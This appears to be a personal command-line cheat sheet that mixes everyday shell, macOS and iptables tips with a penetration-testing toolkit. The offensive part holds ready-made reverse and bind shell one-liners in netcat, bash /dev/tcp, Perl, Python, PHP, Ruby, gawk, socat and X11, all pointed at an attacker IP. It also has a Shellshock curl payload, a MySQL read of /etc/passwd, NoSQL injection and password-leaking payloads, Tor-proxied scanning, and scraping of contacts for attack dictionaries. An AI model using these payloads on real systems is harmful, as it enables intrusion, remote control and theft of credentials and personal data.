- Command-Shift-3: Full screen to desktop
- Command-Shift-4, select an area: Area to desktop
- Command-Shift-4, space, click a window: Window to desktop
- Command-Control-Shift-3: Full screen to clipboard
- Command-Control-Shift-4, select an area: Area to clipboard
- Command-Control-Shift-4, space, click a window: Window to clipboard
- PrtScr: full screenshot to clipboard
- Windows-PrtScr: full screen to "Screenshots" folder
- Alt-PrtScr: active window to clipboard
- Use 'ksnapshot' utility
import -window root -display :0 whatever.png
Shift + F2
at the >> prompt: screenshot --fullpage <filename>
- Use shutter. Its one of the best screenshot tools I've found. Has editing and upload capabilities.
- Temporarily turn off sleep
sudo pmset noidle
- Turn off sleep
sudo pmset sleep 0
- Sleep after 15 minutes
sudo pmset sleep 15
- Using GNU sort (possibly others), there is a -V flag that sorts by software version numbers. This works great for IP addresses so you don't get lists like this:
1.1.1.1
1.1.1.10
1.1.1.2
...
sort -V filename
Sometimes, you will be in an environment that requires a proxy. Many tools such as curl or wget will use the http_proxy variable:
$ export http_proxy="http://user:[email protected]:8080/"
If your password contains special characters, they must be escaped:
$ printf "%%%02x\n" \"\!
%21
$ export http_proxy="http://user:password%[email protected]:8080/"
Some common characters:
| Character | Value |
|---|---|
| ! | %21 |
| @ | %40 |
| # | %23 |
| $ | %24 |
- Install proxychains, tor, and nmap
- Make sure /etc/proxychains.conf is right
- Make sure /etc/tor/torrc is right
- Finally:
proxychains nmap -F host_here
- One of the handiest manpages:
man 7 ascii
- Reverse shell
On attacking machine: nc -lp PORT
On target machine: nc -e /bin/sh IP.OF.ATTACKER PORT
- When -e flag does not exist:
On attacking machine: nc -lp PORT
On target machine:
mknod /tmp/datapipe p
/bin/bash 0</tmp/datapipe | nc IP.OF.ATTACKER PORT 1>/tmp/datapipe
- Bind a shell to a port:
nc -lp PORT -e /bin/sh
- Simple port scanner
nc -v -n -w1 TARGET 1-1024
Most (all) of these require opening a listener with netcat or ncat. These are very useful if netcat isn't available or you cannot write to a disk on a target computer. Sometimes Python may be available on one machine, but Perl is on another. Some of these can be modified and injected or included in web applications in certain cases. Thanks to pentestmonkey.net for most of these.
- Spawning a pty w/ Python for better control of reverse shells
python -c 'import pty;pty.spawn("/bin/bash")'
- Bash using /dev/tcp
bash -i >& /dev/tcp/ATTACKER.IP.HERE/PORT 0>&1
- Perl
perl -e 'use Socket;$i="ATTACKER.IP.HERE";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- X11
On attacking host, X11 must be accessible by the target machine:
Xnest :1
xhost +TARGET.IP.HERE
On target:
xterm -display ATTACKER.IP.HERE:1
- gawk
gawk 'BEGIN {P=443;S="bkd> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'
- socat This is a really nice shell with tab completion and interaction and the whole shooting match.
socat tcp:192.168.10.126:2222 exec:"bash -i",pty,stderr,setsid,sigint,sane
- Multiple search terms:
grep -e term1 -e term2 <file>
- Exclude term:
grep -v term <file>
- Exclude multiple terms:
grep -v -e term1 -e term2 <file>
- Print file names and line numbers for matches:
grep -Hn term
- Case insensitive:
grep -i term <file>
- Strip # comments:
grep -v "^#" <file>
- Strip ; comments:
grep -v "^;" <file>
- Shorthand character sets:
- [:alnum:] -- Letters and numbers
- [:alpha:] -- Letters
- [:digit:] -- Numbers
- [:punt:] -- Punctuation characters
- [:blank:] -- Space and tab
- [:cntrl:] -- Control characters (000 - 037 and 177 octal)
- [:lower:] -- Lowercase letters
- [:upper:] -- Uppercase letters
- [:space:] -- Whitespace characters )tab, newline, vertical tab, carriage return, ...
- [:xdigit:] -- Hexadecimal digits: 0-9, a-f, A-F
- Pull IP addresses from a file
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' <file>
actual valid IPs:
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' <file>
- Pull networks in CIDR notation from a file (127.0.0.0/24)
grep -o -E '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/[[:digit:]]+'
This is part of the GNU coreutils package. It reads and prints a file from the bottom up. VERY useful for logfiles.
- Linux
tac logfile | less
- OS X / BSD
gtac logfile | less
- BSD tail -r
tail -r logfile | less
- Sometimes a tool will not allow you use CIDR notation to express network addresses, or will require you to provide it a list of IP addresses. Nmap provides the -sL (list scan) option that can generate these lists easily, complete with host and network exclusion, ranges, and so on:
nmap -n -sL 10.10.0.0/22 10.100.0.32/27 192.168.0.2-254 \
--exclude 192.168.0.250,10.10.0.3.254 \
| grep "Nmap scan report for" \
| awk {'print $5'}
- You can also omit the -n flag and easily resolve ranges of IP addresses. If an IP address resolves, it will display "hostname (ip address)". If it does not resolve, it will simply display the IP address:
nmap -sL 10.10.0.0/22 | awk {'print $5, $6'}
- Sometimes, you may need to use a different DNS server rather than whatever is in your /etc/resolv.conf to mass resolve a list of IPs:
nmap -n -sL 10.10.0.0/24 \
| grep "Nmap scan report for" \
| awk {'print $5'} \
| while read ip;
do host $ip ALTERNATEDNSSERVERGOESHERE | grep "domain name pointer";
done
- Find suid binaries:
find / -perm -04000 -exec ls -l {} \; 2>/dev/null
- Find world-writable files:
find / -type f -perm -o=w -exec ls -l {} \; 2>/dev/null
- Find world-writable directories:
find / -type d -perm -o=w -exec ls -l {} \; 2>/dev/null
- Find files with "passwd" in their names. This throws up a lot of false positives in most cases, but sometimes you can find readable hashes to crack:
find / -name "*passwd*" -type f -exec ls -l {} \; 2>/dev/null
- Find files modified today and this week respectively:
find / -mtime -1 -exec ls -l {} \; 2>/dev/null
find / -mtime -7 -exec ls -l {} \; 2>/dev/null
- Get HTTP headers from a site:
curl -I http://www.google.com
- Get HTTP headers from a site that is using SSL:
curl -kI https://www.google.com
- Display info about your public IP:
curl ipinfo.io
- Extract email addresses from URL:
curl http://www.foo.com/whatever.html 2>/dev/null \
| grep -Eio '\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b' \
| sort | uniq
- Extract anchors from URL (thanks bashitsu!). This is very useful for getting a basic layout of a site, fingerprinting software, and much more:
curl http://www.foo.com 2>/dev/null \
| grep -Eio "(src|href) *= *[\"'][^\"']*" \
| grep -Eo "[\"'].*" \
| cut -c2- | sort | uniq
- Extract a set of unique words from a site. This is sometimes helpful in making dictionaries to attack a target with. This requires the 'html2text' utility:
curl http://www.foo.com 2>/dev/null | html2text | tr " " "\n" | sort | uniq
- Attempt to pull names from a site. This isn't foolproof, as the output will still have to be scoured. (Thanks again, bashitsu!):
CAPWORD="([A-Z]{1}['a-z]+)";
curl http://www.foo.com 2>/dev/null \
| grep -Eo -e "$CAPWORD $CAPWORD" \
-e "$CAPWORD [A-Z]{1} $CAPWORD" \
-e "$CAPWORD $CAPWORD $CAPWORD" \
| sort | uniq -c
- Extract phone numbers from a site:
curl http://www.foo.com 2>/dev/null \
| html2text \
| grep -io '\(([0-9]\{3\})\|[0-9]\{3\}\)[ -.]\?[0-9]\{3\}[ -.]\?\([0-9]\{4\}\|[A-Z]\{4\}\)'
- Shellshock
Basic usage:
curl -H "User-Agent: () { :; }; /bin/ls" http://vulnerablesitegoeshere.net/
If you get a 500 error:
curl -H "User-Agent: () { :; }; echo Content-Type: text/html; echo; /usr/bin/id" http://vulnerableurlhere.net
- As a portscanner
for i in {1..65535}; do curl -s -m 2 localhost:$i >/dev/null; if [ ! $? -eq 7 ] && [ ! $? -eq 28 ]; then echo open: $i; fi; done
For a more robust script that uses curl to portscan hosts, peep this: https://github.com/droberson/curl-portscan
Sometimes you may need to copy and paste terminal output, but you either do not have gpm installed or even have a mouse. Here's how to copy and paste using screen:
screen
`command you need output from`
Control+a, [
move cursor to the start position using Emacs movement keystrokes or arrows
Hit space to set starting position
select text you want to copy using arrows or Emacs keystrokes
Hit space to set ending position
Control+a, ] will paste
- Show userlist:
select user,host,password from mysql.user;
- Show databases, tables, and other basics:
show databases;
use database;
show tables;
describe table;
- Read files from local filesystem:
select load_file("/etc/passwd");
- Show crashed tables:
show table status where comment like "%crashed%";
- Change a user's password:
update mysql.user set password=PASSWORD('password') where user='user';
flush privileges;
- example of testing for injections
{"username":{"$gt":""}."password":{"$gt":""}}
- password leaking
{"user":"admin","pass":{"$regex":"^password"}}
bash and zsh are different, but these keystrokes work for both. They are useful to know in case you are on a jacked up terminal, your keyboard is missing certain keys, and they are just plain faster once you get the hang of them. Most of these also apply to Emacs and editing text within Chrome.
Control + a -- place cursor at beginning of line
Control + e -- place cursor at end of line
Control + h -- delete character before cursor (backspace)
Control + d -- delete character after cursor (delete)
Arrow keys and these do the same thing:
Control + f -- move cursor forward
Control + b -- move cursor backwards
Control + p -- move cursor up (previous command)
Control + n -- move cursor down (next command)
Control + r -- reverse search history
Control + g -- exit search
Control + k -- cut line after cursor into clipboard
Control + u -- cut line before cursor into clipboard
Control + y -- 'yank' (paste) clipboard contents
Control + l -- clear the screen
xxd -r -p file.hex > file.bin
echo <rot13string> |tr a-zA-Z n-za-mN-ZA-M
while :;do iwlist wlan0 scan |awk -F\" '/ESSID/{print $2}' |espeak;done
iptables -A INPUT -s ip.address.here -j DROP
iptables -A INPUT -s ip.address.here -p tcp --destination-port 80 -j DROP
iptables -D INPUT -s ip.address.here -j DROP
This example locks IP addresses out if they exceed 4 connections to port 22 (SSH) in 60 seconds. This can be modified/tuned for other services such as HTTP to throw a wrench in tools such as Nikto or Dirbuster.
iptables -N LOGDROP
iptables -A LOGDROP -j LOG
iptables -A LOGDROP -j DROP
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j LOGDROP
iptables -I INPUT 1 -s host -j ACCEPT
iptables -I OUTPUT 1 -d host -j ACCEPT
iptables -Z
...
...
Do whatever you wanted to measure bandwidth for
...
...
iptables -vn -L; # this displays a printout showing how much data was transferred.
dd if=/dev/whatever bs=65535 conv=noerror,sync | ssh -C user@host "cat >image.dd"
python -m SimpleHTTPServer [<port>]
python3 -m http.server [<port>]
openssl s_client -connect host:port